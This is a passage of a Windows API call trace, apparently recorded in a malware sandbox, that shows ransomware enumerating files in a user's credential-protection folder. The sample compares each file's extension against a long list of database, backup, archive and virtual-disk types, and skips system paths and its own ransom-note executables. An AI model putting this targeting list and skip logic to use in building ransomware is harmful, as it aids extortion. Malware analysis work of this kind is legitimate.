	[0043.070] lstrcmpiW (lpString1="IST", lpString2="dsk") returned 1
	[0043.070] lstrlenW (lpString="dsn") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="dsn") returned 1
	[0043.070] lstrlenW (lpString="dtsx") returned 4
	[0043.070] lstrcmpiW (lpString1="HIST", lpString2="dtsx") returned 1
	[0043.070] lstrlenW (lpString="dxl") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="dxl") returned 1
	[0043.070] lstrlenW (lpString="eco") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="eco") returned 1
	[0043.070] lstrlenW (lpString="ecx") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="ecx") returned 1
	[0043.070] lstrlenW (lpString="edb") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="edb") returned 1
	[0043.070] lstrlenW (lpString="epim") returned 4
	[0043.070] lstrcmpiW (lpString1="HIST", lpString2="epim") returned 1
	[0043.070] lstrlenW (lpString="fcd") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="fcd") returned 1
	[0043.070] lstrlenW (lpString="fdb") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="fdb") returned 1
	[0043.070] lstrlenW (lpString="fic") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="fic") returned 1
	[0043.070] lstrlenW (lpString="flexolibrary") returned 12
	[0043.070] lstrlenW (lpString="fm5") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="fm5") returned 1
	[0043.070] lstrlenW (lpString="fmp") returned 3
	[0043.070] lstrcmpiW (lpString1="IST", lpString2="fmp") returned 1
	[0043.070] lstrlenW (lpString="fmp12") returned 5
	[0043.070] lstrcmpiW (lpString1="DHIST", lpString2="fmp12") returned -1
	[0043.070] lstrlenW (lpString="fmpsl") returned 5
	[0043.070] lstrcmpiW (lpString1="DHIST", lpString2="fmpsl") returned -1
	[0043.070] lstrlenW (lpString="fol") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="fol") returned 1
	[0043.071] lstrlenW (lpString="fp3") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="fp3") returned 1
	[0043.071] lstrlenW (lpString="fp4") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="fp4") returned 1
	[0043.071] lstrlenW (lpString="fp5") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="fp5") returned 1
	[0043.071] lstrlenW (lpString="fp7") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="fp7") returned 1
	[0043.071] lstrlenW (lpString="fpt") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="fpt") returned 1
	[0043.071] lstrlenW (lpString="frm") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="frm") returned 1
	[0043.071] lstrlenW (lpString="gdb") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="gdb") returned 1
	[0043.071] lstrlenW (lpString="gdb") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="gdb") returned 1
	[0043.071] lstrlenW (lpString="grdb") returned 4
	[0043.071] lstrcmpiW (lpString1="HIST", lpString2="grdb") returned 1
	[0043.071] lstrlenW (lpString="gwi") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="gwi") returned 1
	[0043.071] lstrlenW (lpString="hdb") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="hdb") returned 1
	[0043.071] lstrlenW (lpString="his") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="his") returned 1
	[0043.071] lstrlenW (lpString="ib") returned 2
	[0043.071] lstrcmpiW (lpString1="ST", lpString2="ib") returned 1
	[0043.071] lstrlenW (lpString="idb") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="idb") returned 1
	[0043.071] lstrlenW (lpString="ihx") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="ihx") returned 1
	[0043.071] lstrlenW (lpString="itdb") returned 4
	[0043.071] lstrcmpiW (lpString1="HIST", lpString2="itdb") returned -1
	[0043.071] lstrlenW (lpString="itw") returned 3
	[0043.071] lstrcmpiW (lpString1="IST", lpString2="itw") returned -1
	[0043.072] lstrlenW (lpString="jet") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="jet") returned -1
	[0043.072] lstrlenW (lpString="jtx") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="jtx") returned -1
	[0043.072] lstrlenW (lpString="kdb") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="kdb") returned -1
	[0043.072] lstrlenW (lpString="kexi") returned 4
	[0043.072] lstrcmpiW (lpString1="HIST", lpString2="kexi") returned -1
	[0043.072] lstrlenW (lpString="kexic") returned 5
	[0043.072] lstrcmpiW (lpString1="DHIST", lpString2="kexic") returned -1
	[0043.072] lstrlenW (lpString="kexis") returned 5
	[0043.072] lstrcmpiW (lpString1="DHIST", lpString2="kexis") returned -1
	[0043.072] lstrlenW (lpString="lgc") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="lgc") returned -1
	[0043.072] lstrlenW (lpString="lwx") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="lwx") returned -1
	[0043.072] lstrlenW (lpString="maf") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="maf") returned -1
	[0043.072] lstrlenW (lpString="maq") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="maq") returned -1
	[0043.072] lstrlenW (lpString="mar") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="mar") returned -1
	[0043.072] lstrlenW (lpString="marshal") returned 7
	[0043.072] lstrcmpiW (lpString1="REDHIST", lpString2="marshal") returned 1
	[0043.072] lstrlenW (lpString="mas") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="mas") returned -1
	[0043.072] lstrlenW (lpString="mav") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="mav") returned -1
	[0043.072] lstrlenW (lpString="maw") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="maw") returned -1
	[0043.072] lstrlenW (lpString="mdbhtml") returned 7
	[0043.072] lstrcmpiW (lpString1="REDHIST", lpString2="mdbhtml") returned 1
	[0043.072] lstrlenW (lpString="mdn") returned 3
	[0043.072] lstrcmpiW (lpString1="IST", lpString2="mdn") returned -1
	[0043.073] lstrlenW (lpString="mdt") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="mdt") returned -1
	[0043.073] lstrlenW (lpString="mfd") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="mfd") returned -1
	[0043.073] lstrlenW (lpString="mpd") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="mpd") returned -1
	[0043.073] lstrlenW (lpString="mrg") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="mrg") returned -1
	[0043.073] lstrlenW (lpString="mud") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="mud") returned -1
	[0043.073] lstrlenW (lpString="mwb") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="mwb") returned -1
	[0043.073] lstrlenW (lpString="myd") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="myd") returned -1
	[0043.073] lstrlenW (lpString="ndf") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="ndf") returned -1
	[0043.073] lstrlenW (lpString="nnt") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="nnt") returned -1
	[0043.073] lstrlenW (lpString="nrmlib") returned 6
	[0043.073] lstrcmpiW (lpString1="EDHIST", lpString2="nrmlib") returned -1
	[0043.073] lstrlenW (lpString="ns2") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="ns2") returned -1
	[0043.073] lstrlenW (lpString="ns3") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="ns3") returned -1
	[0043.073] lstrlenW (lpString="ns4") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="ns4") returned -1
	[0043.073] lstrlenW (lpString="nsf") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="nsf") returned -1
	[0043.073] lstrlenW (lpString="nv") returned 2
	[0043.073] lstrcmpiW (lpString1="ST", lpString2="nv") returned 1
	[0043.073] lstrlenW (lpString="nv2") returned 3
	[0043.073] lstrcmpiW (lpString1="IST", lpString2="nv2") returned -1
	[0043.073] lstrlenW (lpString="nwdb") returned 4
	[0043.073] lstrcmpiW (lpString1="HIST", lpString2="nwdb") returned -1
	[0043.074] lstrlenW (lpString="nyf") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="nyf") returned -1
	[0043.074] lstrlenW (lpString="odb") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="odb") returned -1
	[0043.074] lstrlenW (lpString="odb") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="odb") returned -1
	[0043.074] lstrlenW (lpString="oqy") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="oqy") returned -1
	[0043.074] lstrlenW (lpString="ora") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="ora") returned -1
	[0043.074] lstrlenW (lpString="orx") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="orx") returned -1
	[0043.074] lstrlenW (lpString="owc") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="owc") returned -1
	[0043.074] lstrlenW (lpString="p96") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="p96") returned -1
	[0043.074] lstrlenW (lpString="p97") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="p97") returned -1
	[0043.074] lstrlenW (lpString="pan") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="pan") returned -1
	[0043.074] lstrlenW (lpString="pdb") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="pdb") returned -1
	[0043.074] lstrlenW (lpString="pdm") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="pdm") returned -1
	[0043.074] lstrlenW (lpString="pnz") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="pnz") returned -1
	[0043.074] lstrlenW (lpString="qry") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="qry") returned -1
	[0043.074] lstrlenW (lpString="qvd") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="qvd") returned -1
	[0043.074] lstrlenW (lpString="rbf") returned 3
	[0043.074] lstrcmpiW (lpString1="IST", lpString2="rbf") returned -1
	[0043.074] lstrlenW (lpString="rctd") returned 4
	[0043.074] lstrcmpiW (lpString1="HIST", lpString2="rctd") returned -1
	[0043.074] lstrlenW (lpString="rod") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="rod") returned -1
	[0043.075] lstrlenW (lpString="rodx") returned 4
	[0043.075] lstrcmpiW (lpString1="HIST", lpString2="rodx") returned -1
	[0043.075] lstrlenW (lpString="rpd") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="rpd") returned -1
	[0043.075] lstrlenW (lpString="rsd") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="rsd") returned -1
	[0043.075] lstrlenW (lpString="sas7bdat") returned 8
	[0043.075] lstrlenW (lpString="sbf") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="sbf") returned -1
	[0043.075] lstrlenW (lpString="scx") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="scx") returned -1
	[0043.075] lstrlenW (lpString="sdb") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="sdb") returned -1
	[0043.075] lstrlenW (lpString="sdc") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="sdc") returned -1
	[0043.075] lstrlenW (lpString="sdf") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="sdf") returned -1
	[0043.075] lstrlenW (lpString="sis") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="sis") returned -1
	[0043.075] lstrlenW (lpString="spq") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="spq") returned -1
	[0043.075] lstrlenW (lpString="te") returned 2
	[0043.075] lstrcmpiW (lpString1="ST", lpString2="te") returned -1
	[0043.075] lstrlenW (lpString="teacher") returned 7
	[0043.075] lstrcmpiW (lpString1="REDHIST", lpString2="teacher") returned -1
	[0043.075] lstrlenW (lpString="tmd") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="tmd") returned -1
	[0043.075] lstrlenW (lpString="tps") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="tps") returned -1
	[0043.075] lstrlenW (lpString="trc") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="trc") returned -1
	[0043.075] lstrlenW (lpString="trc") returned 3
	[0043.075] lstrcmpiW (lpString1="IST", lpString2="trc") returned -1
	[0043.075] lstrlenW (lpString="trm") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="trm") returned -1
	[0043.076] lstrlenW (lpString="udb") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="udb") returned -1
	[0043.076] lstrlenW (lpString="udl") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="udl") returned -1
	[0043.076] lstrlenW (lpString="usr") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="usr") returned -1
	[0043.076] lstrlenW (lpString="v12") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="v12") returned -1
	[0043.076] lstrlenW (lpString="vis") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="vis") returned -1
	[0043.076] lstrlenW (lpString="vpd") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="vpd") returned -1
	[0043.076] lstrlenW (lpString="vvv") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="vvv") returned -1
	[0043.076] lstrlenW (lpString="wdb") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="wdb") returned -1
	[0043.076] lstrlenW (lpString="wmdb") returned 4
	[0043.076] lstrcmpiW (lpString1="HIST", lpString2="wmdb") returned -1
	[0043.076] lstrlenW (lpString="wrk") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="wrk") returned -1
	[0043.076] lstrlenW (lpString="xdb") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="xdb") returned -1
	[0043.076] lstrlenW (lpString="xld") returned 3
	[0043.076] lstrcmpiW (lpString1="IST", lpString2="xld") returned -1
	[0043.076] lstrlenW (lpString="xmlff") returned 5
	[0043.076] lstrcmpiW (lpString1="DHIST", lpString2="xmlff") returned -1
	[0043.076] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31bdc6f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31bdc6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.076] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.076] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1
	[0043.076] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.076] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="Apollon865.txt.exe") returned 1
	[0043.076] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2=".") returned 1
	[0043.076] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="..") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="windows") returned -1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="bootmgr") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="temp") returned -1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="pagefile.sys") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="boot") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="ids.txt") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="ntuser.dat") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="perflogs") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="MSBuild") returned 1
	[0043.077] lstrlenW (lpString="S-1-5-21-3111613574-2524581245-2586426736-500") returned 45
	[0043.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 72
	[0043.077] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="S-1-5-21-3111613574-2524581245-2586426736-500" | out: lpString1="S-1-5-21-3111613574-2524581245-2586426736-500") returned="S-1-5-21-3111613574-2524581245-2586426736-500"
	[0043.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0043.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xdc) returned 0x599bd8
	[0043.077] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0043.077] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf6409280, ftLastAccessTime.dwHighDateTime=0x1d4ae2c, ftLastWriteTime.dwLowDateTime=0xf6409280, ftLastWriteTime.dwHighDateTime=0x1d4ae2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~2")) returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="Apollon865.txt.exe") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="windows") returned -1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="bootmgr") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="temp") returned -1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="pagefile.sys") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="boot") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="ids.txt") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="ntuser.dat") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="perflogs") returned 1
	[0043.077] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="MSBuild") returned 1
	[0043.077] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0043.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 109
	[0043.077] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000") returned="S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0043.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0043.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xde) returned 0x599cc0
	[0043.078] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0043.078] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="Apollon865.txt.exe") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2=".") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="..") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="windows") returned -1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="bootmgr") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="temp") returned -1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="pagefile.sys") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="boot") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="ids.txt") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="ntuser.dat") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="perflogs") returned 1
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2="MSBuild") returned 1
	[0043.078] lstrlenW (lpString="SYNCHIST") returned 8
	[0043.078] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 110
	[0043.078] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="SYNCHIST" | out: lpString1="SYNCHIST") returned="SYNCHIST"
	[0043.078] lstrlenW (lpString="SYNCHIST") returned 8
	[0043.078] lstrlenW (lpString="Apollon865") returned 10
	[0043.078] lstrlenW (lpString=".dll") returned 4
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2=".dll") returned 1
	[0043.078] lstrlenW (lpString=".lnk") returned 4
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2=".lnk") returned 1
	[0043.078] lstrlenW (lpString=".ini") returned 4
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2=".ini") returned 1
	[0043.078] lstrlenW (lpString=".sys") returned 4
	[0043.078] lstrcmpiW (lpString1="SYNCHIST", lpString2=".sys") returned 1
	[0043.078] lstrlenW (lpString="SYNCHIST") returned 8
	[0043.078] lstrlenW (lpString="bak") returned 3
	[0043.078] lstrcmpiW (lpString1="IST", lpString2="bak") returned 1
	[0043.078] lstrlenW (lpString="ba_") returned 3
	[0043.078] lstrcmpiW (lpString1="IST", lpString2="ba_") returned 1
	[0043.079] lstrlenW (lpString="dbb") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="dbb") returned 1
	[0043.079] lstrlenW (lpString="vmdk") returned 4
	[0043.079] lstrcmpiW (lpString1="HIST", lpString2="vmdk") returned -1
	[0043.079] lstrlenW (lpString="rar") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="rar") returned -1
	[0043.079] lstrlenW (lpString="zip") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="zip") returned -1
	[0043.079] lstrlenW (lpString="tgz") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="tgz") returned -1
	[0043.079] lstrlenW (lpString="vbox") returned 4
	[0043.079] lstrcmpiW (lpString1="HIST", lpString2="vbox") returned -1
	[0043.079] lstrlenW (lpString="vdi") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="vdi") returned -1
	[0043.079] lstrlenW (lpString="vhd") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="vhd") returned -1
	[0043.079] lstrlenW (lpString="vhdx") returned 4
	[0043.079] lstrcmpiW (lpString1="HIST", lpString2="vhdx") returned -1
	[0043.079] lstrlenW (lpString="avhd") returned 4
	[0043.079] lstrcmpiW (lpString1="HIST", lpString2="avhd") returned 1
	[0043.079] lstrlenW (lpString="db") returned 2
	[0043.079] lstrcmpiW (lpString1="ST", lpString2="db") returned 1
	[0043.079] lstrlenW (lpString="db2") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="db2") returned 1
	[0043.079] lstrlenW (lpString="db3") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="db3") returned 1
	[0043.079] lstrlenW (lpString="dbf") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="dbf") returned 1
	[0043.079] lstrlenW (lpString="mdf") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="mdf") returned -1
	[0043.079] lstrlenW (lpString="mdb") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="mdb") returned -1
	[0043.079] lstrlenW (lpString="sql") returned 3
	[0043.079] lstrcmpiW (lpString1="IST", lpString2="sql") returned -1
	[0043.079] lstrlenW (lpString="sqlite") returned 6
	[0043.079] lstrcmpiW (lpString1="NCHIST", lpString2="sqlite") returned -1
	[0043.080] lstrlenW (lpString="sqlite3") returned 7
	[0043.080] lstrcmpiW (lpString1="YNCHIST", lpString2="sqlite3") returned 1
	[0043.080] lstrlenW (lpString="sqlitedb") returned 8
	[0043.080] lstrlenW (lpString="xml") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="xml") returned -1
	[0043.080] lstrlenW (lpString="$er") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="$er") returned 1
	[0043.080] lstrlenW (lpString="4dd") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="4dd") returned 1
	[0043.080] lstrlenW (lpString="4dl") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="4dl") returned 1
	[0043.080] lstrlenW (lpString="^^^") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="^^^") returned 1
	[0043.080] lstrlenW (lpString="abs") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="abs") returned 1
	[0043.080] lstrlenW (lpString="abx") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="abx") returned 1
	[0043.080] lstrlenW (lpString="accdb") returned 5
	[0043.080] lstrcmpiW (lpString1="CHIST", lpString2="accdb") returned 1
	[0043.080] lstrlenW (lpString="accdc") returned 5
	[0043.080] lstrcmpiW (lpString1="CHIST", lpString2="accdc") returned 1
	[0043.080] lstrlenW (lpString="accde") returned 5
	[0043.080] lstrcmpiW (lpString1="CHIST", lpString2="accde") returned 1
	[0043.080] lstrlenW (lpString="accdr") returned 5
	[0043.080] lstrcmpiW (lpString1="CHIST", lpString2="accdr") returned 1
	[0043.080] lstrlenW (lpString="accdt") returned 5
	[0043.080] lstrcmpiW (lpString1="CHIST", lpString2="accdt") returned 1
	[0043.080] lstrlenW (lpString="accdw") returned 5
	[0043.080] lstrcmpiW (lpString1="CHIST", lpString2="accdw") returned 1
	[0043.080] lstrlenW (lpString="accft") returned 5
	[0043.080] lstrcmpiW (lpString1="CHIST", lpString2="accft") returned 1
	[0043.080] lstrlenW (lpString="adb") returned 3
